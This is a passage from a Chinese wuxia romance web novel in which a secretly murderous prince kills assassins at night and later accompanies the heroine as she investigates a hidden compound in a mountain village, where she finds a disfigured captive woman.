“也是,我们这种人,哪里配看花赏景啊。”
月光透过枝桠洒在他脸上,勾勒出冷峭的轮廓,眸光半敛,看似藏着平和,抬眼看向下属时,眼底翻涌的阴鹜如寒芒乍现,语气冷得像是淬了冰。
“本王失踪两月有余,京城怕是已经翻了天了,都盼着本王死。”
蓦地,柳棹歌将手中的花束砸向中间的人:“你们是不是也想着本王死了,好替掉本王的位子。”
声音不大,却带着怒意,震得下属浑身发抖,膝盖一软,跪倒在地上,不敢说话。
“好了,起来吧,我也只是说笑而已。”
他背靠在桃花树干,花瓣落在他发间,衬得他越发清俊飘逸,如此赏心悦目的画面,下属却连呼吸都不敢加快。
“查得怎么样了?”
带头的下属咽了咽唾沫,起身回禀:“禀王爷,山中已无其余寻宝者,或死,或是被人带到这个部落。部落以东,有一座装潢精致的宅子,但是有十余高手守在外面,外面无法窥得里面的情况。”
“另外,山中也有二皇子派来的人。”
柳棹歌哂笑,困兽尤斗。
“还有就是陛下也已知晓你在越兰溪身边,斥你违背圣意,龙颜大怒。”
闻此,柳棹歌才有了些许态度上的变化,从衣袖里掏出一张折得规整的纸递给他:“告诉陛下,漆雾山布防图就在上面。”
那下属一惊,漆雾山布防图!郑重接过图纸,抱拳,随后又隐入黑暗。
泼墨般的夜色洒在连绵的山林中,枝桠交错如鬼魅的爪牙。
山风褪去白日的燥热,卷起地上的枯槁落叶,沙沙的声音在寂静的夜里格外清晰。
不远处的山洞中,是晚食时紧盯着柳棹歌的几位男。很奇怪的是,他们并没有住在部落中的房屋中,而是寻此山洞,生火就地而憩。
边上的三个神秘人俱已躺地休息,只是手中的长刀、长剑始终握在手中,留着一个身形精瘦的眼睛下三白的男子看守,眼神犀利,观察山中动向。
山涧流水潺潺,现下入夏,偶尔传来几声轻声的蝉鸣,磷火在林间一闪而过,山巅的风吹得更加烈,崖边的矮松发出呜呜地回响。
枯枝树木偶然作响,巡守的人神色警惕,见从树林中窜出一只兔子,面色释然,举弓射箭,命中兔子腹部,见兔子渐渐停止抽搐之后,才笑着走过去:“箭法有长进。”
夜里的寒光更加冷硬,柳棹歌缓缓从树干后走出来,像鬼魅,眼底翻涌着戾气,鲜艳的红唇咧成疯狂的弧度,泄露出内心压抑多时的疯狂。
此刻的他眉眼稍霁,那是猎物将近的喜悦与松弛,褪去紧绷的蛰伏,只剩下即将撕碎一切的慵懒和狠厉。
下三白男子发现地上多了一道黑影,不动声色地握住腰间的刀,呵斥。
“谁?”
柳棹歌只是从容地掐住他的脖子,下一瞬,手中的菜刀便划破了男子的喉咙,动作干净又利落,衣服上没有沾染上一丝血迹。
他蹲下身,解开男子的外袍,披在身上,眼睑下透出的浅淡的阴影,竟透露着几分乖巧的稚气。
“别搞脏了,小心点,别让兰溪发现我的秘密了。”
黑影幢幢间,他脚步微停,朝着山洞中边上已经醒来的三人走去。
攥着菜刀的手微微送了送,却不懈怠,反而像是蓄势前的收力。眼底阴鹜依旧翻涌,掺杂着近乎愉悦的兴奋,勾起一抹极淡的、充满血腥的笑容:“如今夜行军已经落败成如今这个样了吗?居然派你们来。”
“真是抱歉啊,最近不太想杀人的。”
柳棹歌带着天真,那个温柔知礼的面具像是戴在脸上取不下来了,脸上带着温柔的残忍:“但是你们不该来的,我不希望有任何人来打扰我和兰溪现在的生活。”
“王爷,二皇子要你的命,别怪我们心狠。”
中间说话的男子应是见过柳棹歌的,语气间还有些敬意。
“一起来,我今天心情好,留你们全尸。”柳棹歌声音放得轻柔。
夜林里,刀光骤起。
柳棹歌攥着菜刀猛劈,寒光映着染血的面庞,直逼三人的长刀。
对面的长刀交错围拢,刃风呼啸,带着势不可挡的力量,刀刃与刀刃碰撞,擦出点点火花。
他不进反退,提起菜刀,横削竖砍,硬接兵刃碰撞的脆响,血珠随刀刃翻飞。正如他所说,每一道招式迎着凌厉的带着血腥味的风利落地划过对面人的脖子,刺进他们的胸膛。
刀刃划过为首的男子的脖子时,柳棹歌却诡异地停止了,手中的菜刀一转,划断他两条腿的脚筋:“允你自我了结。”
为首的男子瞬间闷疼,却始终不曾出声,而是用刀撑在地上,伏在刀柄,仰头看向月光下像是浸在寒谭中的碎玉般的人,笑道:“多谢王爷。”
果然,见过人间的风景,都不愿意重新下来做鬼了。
男子跪在地上,低头刨着坑,嘴角的鲜血艳得灿烂,没想到死后还能有一座坟,够了。
衣摆摇曳在山路上,柳棹歌手中的菜刀滴落下的血砸在绿叶上。
夜行军死后不得其所,或是被敌人折磨到不成人样,或是没了价值之后,被丢进历练场,当作活靶子,供给新一代的夜行军训练,死前能有全尸已经是格外开恩了。
像他这样走到人前的,至今为止,只有他一个人。
夜间小院,浑身血腥气的柳棹歌盛了几瓢水就站在院子中冲洗。山风寒凉,溪水更是如深秋的水一般刺骨,柳棹歌眼也不眨地往身上泼,将手上、脸上的血迹仔仔细细擦干净后,穿上衣裳,悄声推开房门。
床上的人睡得正香,姿势却不大好看,四仰八叉地占据了整张床铺。
柳棹歌不太理解越兰溪,按理说,像她这般武艺高强的高手应该是闻风而动,闻声而起,越兰溪却不是,像是已经完全信任他了一样,他出门进
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门的动作完全没有一点能惊动她的痕迹。
他蹲在床榻边上,弯弯眉,双手撑着下巴,瞧着越兰溪呼呼大睡的模样,方才杀人后心中的死寂瞬间被填满,沉甸甸的。
在夜行军中那几年,他拼了命地接任务,像是地下阎王不收一般带着疯狂,他踩着一个又一个人的尸体、肩膀,用尽所有心机算计一步步从一个小小暗卫成为陛下身边最不能缺少的尖刀利刃。
他出来的第一件事就是杀了每一个欺辱过他的人,深觉留有后患的危害,三月大的孩童也被他溺亡于水中。没了,都没了!践踏过他的人都死掉了。
以往的他像孤魂野鬼,凭着那点报复的念头走出夜行军营,后来都死光了,他觉得,他的生命不出意外应该也是失去利用价值之后被随意抛尸郊外,不,也有可能被分尸,被喂狗,毕竟他的仇人如此多,人人都巴不得来踩上两脚。
柳棹歌望着越兰溪的睡颜,轻轻皱皱鼻子,就连你也不例外。
“这么小?”
他伸出手掌,与越兰溪的手掌比划着,感叹道。
看着看着,又不自觉地握住了她的手掌,许是手掌太过冰冷,惊得床上原本熟睡的人的眼睛艰难地睁开一条缝:“怎么不上来?我把你踹下去了吗?”
带着迷糊的鼻音,柳棹歌心口重重一跳,捂住胸口的手握拳,瞥眉,又是这种感觉。
“没有,睡不着,出去走了走。”
越兰溪挪到床的里面:“躺着说不定就能......”睡着了三个字还没说完,她就又陷入了沉睡。
柳棹歌轻笑,脱掉湿漉漉的靴子,那是方才他才洗过的,躺倒床上去。
他想,他应该是睡不着的,毕竟他已经有好多年真正的睡过觉了。
卯时正,鸡鸣了一遍又一遍。
越兰溪被透过窗棂照进来的光晃了眼睛,迷迷糊糊地看着柳棹歌一直盯着她看。
“你不会看了我一晚上吧。”
“唔。”他故弄玄虚,见她神色惊讶,又说道。
“一小会儿。”
越兰溪这才放下心来,要是被他看了一晚上,她才没有任何感知,那真是太可怕了。
她又想起昨晚的事,悄悄柳棹歌的神色自然,心中犯嘀咕,不会全都忘了吧。
“你,还记不记得昨天的事情。”
“什么事?”柳棹歌明知故问。
越兰溪:“就是你昨天喝醉了。”
“然后呢?”
“然后...然后你,你,你不记得了吗?”
柳棹歌摇头:“不记得了,要不,兰溪给我演示一百年,说不定我还能想起来。”
他存心存了要逗逗越兰溪的想法。
看她比划半天,像是在鼓起勇气回顾柳棹歌昨夜的行为,举了半天手,又放下手。
越兰溪:“算了,不记得就不记得吧。”心中却遗憾,为什么没有能记下昨晚发生什么事情的法器,要是给他这个凛然正气的君子看了,指不定会有多窘迫,她想想就觉得好玩。
只是可惜了,唉。
“走吧,吃早食。”
唉,有点可惜,没有见到兰溪撒娇,柳棹歌低笑。
23. 第二十三章
柳棹歌站定,望着她。
就这样,一直看着她不说话。
盯久了,越兰溪被看得有些不自在,眼珠乱转。
她不敢看柳棹歌,因为这是她第一次见他面无表情。
不会生气了吧?
不想和他拜把子?不应该吧。
柳棹歌盯着眼前的少女,发髻是他一早帮她梳的,簪着几朵杏黄色的野花,衬得整个人明媚外放。
“兰溪认为夫妻是什么?”
越兰溪被问住了,她对夫妻的关系界限模糊,按照她的观念,兄弟可以是夫妻,夫妻可以是兄弟,兄弟能做的事夫妻也能做,夫妻能做的事,她也可以和兄弟做,反正都是陪着一起玩嘛。
“兰溪你瞧。”
越兰溪顺着柳棹歌指着的方向看去,是一对普通的农家夫妇,男子在田间耕作挖地,妇人则在一旁拾捡野菜甘薯,偶尔将水袋递在男人嘴边,拿出布帕擦拭男子脸上的汗。
男子憨笑着将水袋接过,洋洋洒洒喝了一大口,又递给妇人。
看似很平常的举动,可男子的眼神却没有离开妇人半步,明晃晃的爱意。
“瞧什么?”
柳棹歌泄气一笑,主动牵住越兰溪的手:“没什么?我们走吧。”
其实,他也不知道什么才叫做夫妻。
瞧着他的脸色,好像方才沉脸的不是他,越兰溪纳闷,他不想和她做兄弟吗?唉,痛失一名仁兄。
又绕了几个圈,他们来到了完全陌生的一个地方,这不是在村子中,而是像一座精致的宅院,
正门、殿寝均覆着绿色琉璃瓦,脊安吻兽,门柱涂红色,饰以五彩金云龙纹,雕刻着龙首。
进入正殿,族长便从椅子上站起来,走出来迎过他们。
“住得可还习惯,山中简陋,怠慢了二位贵客。”
开口是一阵寒暄,柳棹歌稍稍应付着,越兰溪却喜欢看门见山,坐上椅子:“族长,有什么事情就说吧,咱不玩那些弯弯绕绕的。”
“诶,好好好。”
族长没有坐在主位上,而是落坐于东侧第一张椅子,高声朗笑:“你个小女娃,性子率直,我喜欢。”
“我也不多说了,请你们过来主要是想要邀请你们参加两日后的杀亚日。”
“杀亚日,是我们族人自从搬进山中之后,为了祭奠先灵设置的节日,每年都是由我主持。”
“可能今年这位公子和我们有缘吧,见少侠容貌肖似我们衣族的先辈,想要邀请少侠两日后为我们衣族主持大典,可好?”
族长说完,带着询问,屏息凝神等待柳棹歌的回复。
“为什么?”越兰溪问。
“啊?”突然来个问什么,问懵了族长。
“我的意思是,为什么选他?因为样貌吗?”越兰溪承认柳棹歌的样貌数一数二,但是她也不差啊。
“我不好看吗?”越兰溪问柳棹歌。
“好看,兰溪最好看。”他薄唇微扬,笑意温软如絮。
族长见两个小年轻你侬我侬,吃酸笑道:“姑娘能来自然是最好,方才我正想邀请姑娘,担心姑娘不愿劳累,因此才迟迟未问姑娘,见谅,见谅。”
越兰溪这才满意:“好吧。那我们要学什么吗?”
“稍后,我会安排人来教二位少侠,到时候需要舞一段剑,之后就没有了,只需要站在台上向台下的族人打招呼就可以了。”
“行。”
“那就多谢二位了!”族长站起身感谢。
“要是有任何需要,派人到正堂去说便是,不必拘礼。”
“这里我可以逛逛吗?”越兰溪是一个想要什么就说什么的人。
果然,见族长表情凝滞一瞬后,又点头:“当然可以,只是宅子已经好多年未修建过了,二位逛时小心些便是,不要碰到朽坏的物件就行。”
“多谢。”越兰溪抱拳道谢后,走在前头。
身后的柳棹歌和族长对视一眼,轻轻颔首,跟在越兰溪身后。
绕着院子逛了两圈,除了豪华与大之外,没有什么特别之处。
柳棹歌眼中闪烁,心中零零散散有了个大概,问越兰溪:“兰溪为何如此果断接下这个差事?”
越兰溪转头瞅了一眼他:“你看那是什么?”
那是他们方才进门时看见的廊道,廊道左侧是一道石墙,上面雕刻着精致秀美的壁画,其中,最惹人瞩目的无疑是中间那条惟妙惟肖的巨蟒,栩栩如生,美轮美奂。
“一副普通的壁画。”
“啧,说你笨你还不信。”越兰溪吐槽,她靠近柳棹歌,几乎已经在他怀中了,却丝毫不觉,反而举起手,指着蟒的爪子。
“那不是蟒。”越兰溪害怕隔墙有耳,特意压低声线。
柳棹歌故作蹙眉,头向着越兰溪的位置倾斜,轻声道:“兰溪方才说了什么?”
她叹口气,环视四周,确定身后跟着他们的尾巴听不见他们之间的说话之后,才贴近柳棹歌的耳朵。
待她俯身,气息交织间,他心底得意的笑意翻涌,喉间的笑意险些溢出,却转瞬敛去,只睁着一清亮的眸子望她,眉眼弯弯。
“那是五爪。”
“且方才我们进门,那龙纹旁雕刻着龙头。”
“宅院格局也不是普通大宅院,五进三出,前堂后寝,左尊右卑。”
越兰溪表情严肃:“我觉得我们发现了什么不得了的东西。”
这规格居然比她的还有大。
柳棹歌装作恍然大悟,几乎与她脸对脸:“那我们跑吗?”
越兰溪见他神情认真,被逗笑,极为豪情地拍上他的肩头:“放心,不就是和皇帝夺江山嘛,有我在。我看此处也无甚兵力防布,想必也掀不出多大的浪来。”
“夺,江,山。这里的主人想来生前也是智计无双的英豪,也不知和我相比如何?”
她手一背,一个人自话自言。
“走,吃饭,太阳都到头顶了,你肚子没叫吗?”
谈论起吃食,方才眉眼间的愁云全部都散开了,还指指柳棹歌的肚子,挑眉笑。
“兰溪一说,还真有些锇了。”
沿着小径,他们走出大门,身后一直跟着他们的人见状,跑回去回禀。
“回族长,两位少侠已经出宅院了。”
族长伏案正在写着什么,闻言并没有抬头,而是沉声问道:“他们在宅院中做了些什么?”
“并没有做什么,只是像观赏一般,四处瞧了瞧看了看。毕竟都是些没有什么见识的人,突然见到我们如此豪华的宅院多多少少都会被迷住的。”下人讨好道。
族长沉吟片刻:“叫衣万去教他们俩人跳剑舞,务必要教会。祭典不能出岔子。”
“是。”
走过林间小径,重新回到部落的村庄,一群小孩正在拿着剑做进攻姿态。很明显,那是两个队伍,一个队伍的剑柄挂着红绳,另外一个队伍的剑柄挂着蓝绳。
“投降吧,周贼。”红队伍的头头嘴边用炭灰画上一圈黑色,应是扮的胡须,对着对面阵营大喊。
局势明朗,不一会儿,红绳子队伍已经擒获对面三人,且有一人弃武器跑了。
“我娘叫我回去吃饭了。”
蓝绳子的头头不服,摔掉木剑,声音拔高
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几分,带着浓浓的鼻音反驳:“我不要当周贼,我也要当裴家军!”
画着胡子的小女孩别过脸,下巴微微扬起,语气又冲又犟:“决石子是你自己决输了,又不怪我。你要想当,大不了下一会咯,回去多练练决石子。”
后又做了个鬼脸,嘲笑耍赖的男孩,气得男孩哇哇大哭后,又跑掉了。
“扑哧——”越兰溪忍俊不禁,果然是小孩子,太好玩了。
柳棹歌见她这么开心,问道:“兰溪喜欢小孩?”
“哈哈哈哈,你不觉得好好玩儿吗?”越兰溪自小便有小孩儿缘,也是小孩子头头,漆雾山中的孩子,没有不和她玩得好的。
柳棹歌若有所思地点点头。
路过村社,门前有一大片花圃,那是越兰溪从来没见到过的花,荷粉色的花瓣,花托是胭脂红,小小的一朵挤满了整个花圃。为长开的花骨朵呈碗状,依偎在花朵身旁。
“这是什么花啊,我从未见过。”越兰溪问。
柳棹歌对此知之甚少,摇头。
路过的村民听见,大声道:“这叫芙蓉花,是不是很好看?”
芙蓉花?她见过的芙蓉花不长这个样子啊,难道是别名?
柳棹歌问:“兰溪想要吗?”
看见越兰溪一直盯着花圃中的花,柳棹歌作势要去摘,被越兰溪止住动作。
“诶诶,算了,种在花圃中的花还是别摘了。”
“为什么?兰溪不喜欢吗?”
越兰溪笑出声:“喜欢,我喜欢的东西多了去了,难道你都要给我吗?”
“当然可以。”柳棹歌毫不迟疑。
你想要的,我都会给你抢来。
“算了算了,我锇了,现在只想吃饭。”
柳棹歌颔首应着,语气软糯得不像话:“那我们走吧。”
重新回到正堂,蒋小乙却不见了,只有方洄独自坐在凳子上,暗自神伤。
“方洄,你怎么了?是不是蒋小乙欺负你了?我现在就去揍他。”越兰溪最唾弃欺负女人的男子,恨不得将他们打得满地找牙。
“没有,他没有欺负我,是我做的不够好。”方洄拉住越兰溪的胳膊焦急道。
“真的吗?”越兰溪仔细观察她的面色。
“真的,是我做得不好,惹他生气了。”
“管他干什么?我们不理他,他就是个混小子,咱别在意他啊。”越兰溪环抱住方洄的肩膀,安慰道。
他倚在廊下,指尖无意识摩挲指根,目光落在不远处相拥的两人身上,眼底温度骤然降至冰点,戾气如藤曼般蔓延疯长,几乎要冲破胸膛。
可是转瞬见,他便敛去所有情绪,唇角甚至勾起一抹浅淡的笑意,缓步上前,露出乖巧无害的模样,轻声唤道:“兰溪,我们去吃饭吧。”
方洄收回啜泣声:“你们还没吃饭吗?先去点东西吧,不用管我,我一个人缓缓就行,想通后就好了。”
“好,你有什么事情都可以和我说啊,要是蒋小乙欺负你,我一定把他打得找不到北!”越兰溪咬紧牙根,恨恨道。
艳阳高照,一旁的人众说纷纭。
方洄忽然感到脊背发凉,浑身发冷。
她莫名生出一种感觉,像是被雾气笼罩,整个人喘不过气来。
“怎么了?”越兰溪握住她的手。
方洄不知道,她四下环顾,根本没有人望她们这边看,但是为何有一种一直被人盯着的错觉。那道目光像是被针刺,不由自主地冒冷汗。
阳光格外刺眼,门外倚着柳棹歌,春风和煦,见方洄望向他,浅颔回应。
这么回事?方洄揉眉心。
24. 第二十四章
村子里的人,除了白天劳作,没有任何的娱乐,很枯燥但是很充足。
越兰溪不一样,她是一个闲不住的性子。
花间宅院,也就是先前族长找他们谈话的院子。这里并不是族长他们住的地方,夜晚,寂静无声,只有院外偶尔巡逻走过的脚步声。
“兰溪,我们来这里干什么?”柳棹歌明知故问,装傻。
他知道越兰溪白天时就对这里起了兴趣,只是不知道她会今晚就来此。
“嘘。”
越兰溪按下柳棹歌的头,靠在墙根,躲过巡卫。
“你不觉得这座宅院很奇怪吗?”
“我们今晨遇到一堵很奇怪的墙,你记得不?”
柳棹歌点头:“下面镂空,上面全是花的那堵墙吗?”
“对,我觉得它背后肯定有东西。你以为我真是为了和你抢谁最好看的名头啊,那老头,有十足十的不对劲,尤其是对你。”越兰溪猫着腰往前走。
“等会儿要是有任何动静,你先藏起来,藏好,伤了我可不管啊。”
越兰溪原本没打算带他来的。
只是,没办法,她这个人最大的弱点就是爱惜美人。
她不要他来,他就握着她的手,眼角湿润地眨着眼望着她,好吧好吧,那就一起走吧。
“好。”柳棹歌勾起嘴角,像是得逞的狐狸。
那堵特殊的墙在后院,他们从垂花门潜入,中间经过正院,内院和花园。白天看上去并不耀眼的花簇,眼下月华如水,竟然衬得一墙的嫣红的花更加妖俏诡丽,像是下一刻就会从墙中钻出来一只花妖,夺人心魄的美艳。
越兰溪凑近闻了闻,无香。
心中奇怪,如此娇艳的花居然没有任何香味。
继续往前走近,拨开花墙,显露出一面布满尘土的石墙。
“小心!”柳棹歌扑过来。
墙内机括骤响,墙面忽现暗格,箭矢如流星穿隙,疾射而来。
越兰溪反手拉着扑过来的柳棹歌向后仰,足尖一点侧旋避身,箭镞擦着衣袂钉入墙中。
“果然有东西。”越兰溪完全不慌。
“不是,我不是说有危险先自己跑吗?你扑过来干什么,把我吓一跳。”她对着柳棹歌没好气道。
方才在地上打了两个滚之后,原本朗月清风般的人,如今显得脏兮兮的。
他靠在柱子上嗫喏:“我,我害怕......害怕兰溪受伤。”
越兰溪心弦轻颤,无声轻叹,算了。
“你先在这里等我,我过去探探情况,躲好啊。”越兰溪反复叮嘱,盯着他躲到隐秘处之后才凌空翻过墙去。
知道不见越兰溪的衣角,柳棹歌才直起身子,眼若寒星,在院中踱步,来回观察这方小院的布局构造。
这棵大树,他摸上树干,似乎似曾相识。
果然不出意外,大树后面是一张青石板玉桌,以前应该是有三张石凳的,柳棹歌眸光流转。
一切都太熟悉了,但是他不知这是为何。
石墙后传来微不可察的响声,他眼底掠过一丝锐光,转瞬便隐入温顺,袍角翻转间不疾不徐,又重新坐回角落,像是什么也没发生过一样,乖乖地坐在原地。
越兰溪踩墙飞跃墙头。
“果然,后院藏有玄机,一间院子上着锁,墙至少有两丈高,都快赶上州府的城墙了,且那边的守兵比这边的还有多,看起来也更加魁梧。”
“那我们还去吗?”柳棹歌问。
“去。”
越兰溪斩钉截铁,隐隐间还有些兴奋。
“但是我一个人去,你就别去了。这次听我的,别撒娇。”越兰溪先发制人,堵住了柳棹歌的口。
瞧着他有些失落的表情,越兰溪一下子就心软,张开嘴之后,又快速转过身去不看他。
她是一个有原则的人!
“那边戒备森严,我一个人尚不能安全潜入,我需要保证你的安全,知道吗?别垂头丧气的,你就在这里等着我,我探查完情况还是来这里找你。”
柳棹歌多说无益,只好委屈地点头。
他扬唇道:“好,我等你来接我。”
唉呦,越兰溪瞧着他像只流浪小狗一样温驯地看着她,她真的坚持不住自己了。
“这把匕首你拿着,记住,如果有人来,只要察觉到危险,不管来人是好是坏,只管保护好自己,伤了人我来解决,知道吗?”
越兰溪从腰后抽出一把精致小巧的匕首,放在柳棹歌手中,叮嘱道。
柳棹歌低头小声地“嗯”了一声。
“你也要好好的,别受伤了。”
要是谁赶伤你,我让他死无全尸。
柳棹歌侧头掩去眼底的暗色与嗜血。
没忍住,越兰溪伸出手指勾勾他的下巴。
“知道啦。”
柳棹歌微怔,下巴还残留着方才她指尖留下的余温和触感。
他手指摸上下巴,酥酥麻麻的感觉还留在上面,眼尾弯弯,像是在呓语。
“兰溪,我一定乖乖的。”
神秘的院子前是一大片竹林,风吹过竹梢,沙沙作响,树影交织着对面的火光,像是一对痴情缠绵的情人。
唯一的一颗大树后,越兰溪蹲在树后,冷静地打量观察着前面的状况。
每隔半炷香就会有一个队伍巡逻到院门,且塔楼上还有两人在巡视,熊熊燃起的火光,照得此处像是白昼。
院后靠着一座大山,越兰溪决定从后面寻找机会。
绕着巡查的人走到院子后面。不出她所料,此处果然没有那么森严,但是巡逻时间间隔却减短了,没到半炷香就有两拨队伍。但是此处没有火光,是一片黑暗。
院墙很高,对越兰溪来说却是简简单单的事。
算好时间,越兰溪往山后跑去,选择最靠近院墙的一边,助力起跑,双手挂在墙头,双脚蹬墙,毫不费力的越过墙头。
悄无声息地着地,越兰溪自信拍拍手,小意思,还能难到本寨主?
院子很简单,就是两三座房子以及,一大片花圃。
满院子的异香,香得让她头晕。
她捂住嘴鼻,上前一瞧,满头疑问。
这不是他们白日在村子中见到没有香味的怪花吗?怎么如此香,难不成这花是白天不香晚上香?
有人来了。
越兰溪迅速跑进离她最近的屋子的檐下。
她听见,脚步声极为沉重,不似寻常人的动静,且此人行动极为缓慢,但是好似步子却迈得极大,不消几时,就已经从院门走到中央了。
越兰溪小心翼翼地伸出一点头出去瞧,同时,反过手去拼接自己的长枪。
???
她看见了什么?!
越兰溪不敢相信,缩回头用手背擦擦眼睛,再伸出头去。
那是一个身长近八尺,肩粗腰圆的异常魁梧的男子,一手提着一只大石锤,拖在地上,擦着火花。
就算是越兰溪自诩见多识广,也不曾见过如此高的男子
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,就像是一座山,令人一看就生畏。
越兰溪只是惊讶一番,随即她想起,她好似见过这样的人。
灵光一闪,她想起来了,他就是她们进入雾林时遇到的那个怪人!
当时他说的什么?什么裴氏什么东西?越兰溪想不起来了。
但是,关于她接的这项任务,她觉得她好像渐渐地有了眉目。
如今只要弄清楚这个村庄的秘密,应该就有了找宝物的头绪。
想着就有点刺激,越兰溪眼睛发光。
她现在不为赏金,不为宝物了,完全是冲着解密来的。
身后的房屋一片漆黑,寂静无声,越兰溪决定还进去看看有什么线索。
用刀鞘戳开窗纸,只看见空荡荡的房间,偶尔床帐飘起,充满了鬼魅感。
没人,越兰溪放心地翻窗进去。
“唔唔唔,唔唔。”
刚跳下窗,脚下刚触碰到一团软物,还没踩实,就传来一道闷哼声,听声音,还是女子的声音。
越兰溪头皮发麻,一团蠕动生物黏在地上,她的鸡皮疙瘩爬到脖颈,一下跳到两丈远。
越兰溪紧握枪杆,靠在对面的窗框上,做出随时就要翻窗出去的准备。
不是她胆小,那一团软绵绵,像是无骨的生物在你脚下蠕动出声,这随便搁在一个正常人身上都是会尖叫的。
借着月光,越兰溪定睛一看,方才在地上蠕动的生物是一个人。
那人瘫坐在地上,像是没长骨头,四肢随意耷拉着,头发散乱遮挡在额前,看不清五官。
身上穿着和他们同样的素白衣裳,只是她身上的衣裳被抓烂,露出锁骨,层层糜烂猩红。
“何人在此装神弄鬼!”
是人就行。
枪划过气流,直指着地上扭曲四肢的怪人,发出铮铮声响。
“芙蓉花,芙蓉花,笑哈哈,笑哈哈......”
可怖惊悚的歌谣从她嘴里哼出来,带着神识不清的笑声,环绕在这间空荡的房间。
是女子?
又是芙蓉花?
越兰溪紧锁眉头。
“你要尝一尝芙蓉花吗?”地上的女子忽然抬头,声音沙哑,却很是温柔。
她抬起脸,小小的鹅蛋脸上到处都是溃烂,流着脓血,眼神麻木,但是眉眼干净漂亮。
越兰溪瞧见,倒吸一口凉气撇过脸去。她从不曾见过如此情形,尽管她杀人无数,但是此种景象发生在一女子身上,她是未曾接触过的。
她深吸一口气,确定此女子没有任何威胁之后,慢慢移步过去,害怕惊扰了地上自言自语的人儿,温声道。
"姑娘说的芙蓉花是什么?"
地上的女子听到关键词,动动脖子,手指绞成一团乱,像是在理解这句话。
良久都没有说话,只是眼下簌簌流泪,滚烫的热泪流过皮肉溃烂处,很痛。
女子趴在地上无声呐喊哭泣。
不断传出的呜咽声让越兰溪动容。
“别哭,伤口会痛的。”她撕下内衬的一块步,内衬的布料虽比不上她之前的衣裳柔软,但是也勉强能当作一块手帕。
她瞥眉,先将女子脸上黏住的发丝用布料捆在脑后,又将剩下的布料挡在女子眼下,防止眼泪留到脸上溃烂的地方,引得她发痒发痛。
这姑娘大概已经神志不清了,只是呆呆傻傻地盯着越兰溪的脸,好久好久都不说话。
突然,屋顶发出声响,像是瓦片破裂的声音。